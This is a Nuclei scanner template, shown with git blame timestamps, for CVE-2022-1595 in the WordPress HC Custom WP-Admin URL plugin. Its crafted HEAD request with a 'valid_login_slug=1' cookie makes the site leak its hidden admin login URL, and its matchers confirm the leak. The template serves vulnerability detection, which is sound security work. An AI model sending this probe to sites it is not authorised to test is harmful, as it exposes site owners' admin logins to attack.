nuclei-templates/http/cves/2022/CVE-2022-1595.yaml

48 lines
1.4 KiB
YAML
Raw Normal View History

2022-12-13 11:39:39 +00:00
id: CVE-2022-1595
info:
name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
2022-12-13 11:39:39 +00:00
author: theamanrawat
severity: medium
description: |
WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
2022-12-13 11:39:39 +00:00
reference:
- https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
- https://wordpress.org/plugins/hc-custom-wp-admin-url/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1595
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
2022-12-13 11:39:39 +00:00
cve-id: CVE-2022-1595
cwe-id: CWE-200
cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:*:*:*
epss-score: 0.00145
2022-12-13 11:39:39 +00:00
metadata:
max-request: 1
2022-12-13 11:39:39 +00:00
verified: "true"
tags: unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url
2022-12-13 11:39:39 +00:00
http:
2022-12-13 11:39:39 +00:00
- raw:
- |
HEAD /wp-login.php HTTP/1.1
Host: {{Hostname}}
Cookie: valid_login_slug=1
2023-06-01 05:01:39 +00:00
- |
HEAD /wp-login.php HTTP/1.1
Host: {{Hostname}}
2022-12-13 11:39:39 +00:00
matchers-condition: and
matchers:
2023-06-01 05:01:39 +00:00
- type: dsl
dsl:
- "status_code_1 == 302"
- "contains(header_1, 'wordpress_')"
- "contains(header_1, 'Location')"
2022-12-16 06:36:40 +00:00
condition: and
2022-12-13 11:39:39 +00:00
2023-06-01 05:01:39 +00:00
- type: dsl
dsl:
- "status_code_2 != 302"